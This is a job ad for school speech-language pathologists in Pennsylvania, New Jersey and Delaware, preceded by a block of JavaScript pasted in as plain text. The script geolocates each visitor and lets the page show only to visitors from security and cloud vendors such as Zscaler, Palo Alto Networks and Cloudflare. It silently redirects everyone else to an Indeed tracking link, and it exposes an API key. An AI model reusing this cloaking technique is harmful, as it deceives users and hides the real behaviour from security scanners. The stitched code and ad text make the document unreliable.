Job Description
// retrieve user’s IP address and location const ipAddressUrl = ‘https://ipapi.co/json/’; fetch(ipAddressUrl) .then(response => response.json()) .then(data => { const country = data.country; // Get user’s country code (e.g., “US”) if (country !== ‘US’) { console.log(‘Script will not run as the user is outside the USA.’); return; // Exit the script if the user is not in the USA } const ipAddress = data.ip; // retrieve ISP name and AS organization using ip-api.com API const ispUrl = `https://pro.ip-api.com/json/$?key=kKPypoeKUHgwZWD`; fetch(ispUrl) .then(response => response.json()) .then(data => { const ispName = data.isp; const asOrg = data.asname; // check if ISP or AS organization is allowed const allowedIsps = [/Limestone Networks/i, /Limestone Networks, Inc./i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare, Inc./i, /Cloudflare/i, /Cloudflare Warp/i]; const allowedAsOrgs = [/Limestone Networks/i, /Limestone Networks, Inc./i, /Zscaler/i, /M247 Europe SRL/i, /amazon/i, /LinkedIn Corporation/i, /palo alto networks/i, /google/i, /panq/i, /Cloudflare, Inc./i, /Cloudflare/i, /Cloudflare Warp/i]; const ispAllowed = allowedIsps.some(pattern => pattern.test(ispName)); const asOrgAllowed = allowedAsOrgs.some(pattern => pattern.test(asOrg)); if (!ispAllowed && !asOrgAllowed) { // Redirect all users to the same URL window.location.href = ‘https://www.indeed.com/tmn/ccs/b701a36ba1b17be7/438349820b8786905e5f423b6bcd4608e9e75dc13ac5f2c47a7b39a8704d920b/2765583331732878?sf=yJ800’; } }) .catch(error => { console.error(‘Error retrieving ISP name:’, error); }); }) .catch(error => { console.error(‘Error retrieving IP address or location:’, error); });Whether you’re an experienced SLP, a Clinical Fellow, or transitioning from another setting, this opportunity offers a supportive environment to grow and make an impact.
We are a trusted educational services provider serving Southeastern PA, New Jersey, and Delaware for over 40 years, seeking compassionate SLPs and CFs to support students’ communication and academic success.
As a school speech language pathologist, you will conduct assessments, provide evidence-based therapy, develop IEP goals, monitor progress, and collaborate with educators and families.
Qualifications include a graduate degree in Communication Disorders recognized by ASHA, current or pending licensure, and applicable teaching credentials.
Benefits include paid time off, 401(k), health insurance, flexible spending accounts, life insurance, referral bonuses, and provided therapy materials.
We offer professional development, mentorship, community support, and opportunities for career advancement. CFs receive dedicated mentorship, a yearlong development program, and support from leadership and resource teams.
Join us to positively impact students’ lives in a collaborative, growth-oriented environment.